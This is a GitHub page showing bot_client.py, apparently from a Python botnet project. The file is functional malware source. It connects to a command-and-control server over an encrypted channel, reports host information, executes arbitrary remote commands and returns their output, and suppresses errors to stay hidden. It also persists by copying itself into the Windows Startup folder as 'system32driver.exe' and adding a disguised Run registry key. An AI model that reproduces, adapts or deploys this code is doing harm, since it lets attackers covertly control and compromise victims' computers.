-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbot_client.py
More file actions
99 lines (82 loc) · 3.08 KB
/
Copy pathbot_client.py
File metadata and controls
99 lines (82 loc) · 3.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import socket
import struct
import zlib
import os
import shutil
import subprocess
from modules import commands
from utils import aes_crypto, key_exchange
C2_SERVER = '127.0.0.1'
C2_PORT = 4444
def send_encrypted(sock, key, message):
compressed = zlib.compress(message.encode())
encrypted = aes_crypto.encrypt(compressed, key)
sock.sendall(struct.pack('>I', len(encrypted)) + encrypted)
def recv_exact(sock, n):
data = b''
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def recv_encrypted(sock, key):
raw_len = recv_exact(sock, 4)
if not raw_len:
return None
total_len = struct.unpack('>I', raw_len)[0]
encrypted_data = recv_exact(sock, total_len)
decrypted = aes_crypto.decrypt(encrypted_data, key)
return zlib.decompress(decrypted).decode() if decrypted else None
def connect_to_c2():
try:
bot = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bot.connect((C2_SERVER, C2_PORT))
private_key = key_exchange.generate_private_key()
public_bytes = key_exchange.get_public_bytes(private_key)
server_public_bytes = bot.recv(4096)
server_public_key = key_exchange.load_peer_public_bytes(server_public_bytes)
bot.send(public_bytes)
session_key = key_exchange.generate_shared_key(private_key, server_public_key)
send_encrypted(bot, session_key, commands.get_info())
while True:
command = recv_encrypted(bot, session_key)
if not command or command.strip().lower() == "exit":
break
if command.strip().lower() == "getinfo":
result = commands.get_info()
else:
result = commands.run_command(command)
if not result:
result = "[!] No output."
send_encrypted(bot, session_key, result)
bot.close()
except:
pass # evitar exceções visíveis no host
# Persistência: cópia + registro
def persist():
try:
target_dir = os.environ["APPDATA"] + "\Microsoft\Windows\Start Menu\Programs\Startup"
target_path = os.path.join(target_dir, "system32driver.exe")
if not os.path.exists(target_path):
shutil.copy2(__file__, target_path)
except Exception:
pass
def persist_registry():
try:
path = os.path.join(os.environ["APPDATA"], "Microsoft\Windows\Start Menu\Programs\Startup", "system32driver.exe")
reg_name = "WindowsDriverManager"
result = subprocess.run(["reg", "query", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "/v", reg_name],
capture_output=True, text=True)
if reg_name not in result.stdout:
subprocess.run([
"reg", "add", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run",
"/v", reg_name, "/t", "REG_SZ", "/d", f'"{path}"', "/f"
], check=True)
except Exception:
pass
# Ativação
persist()
persist_registry()
if __name__ == "__main__":
connect_to_c2()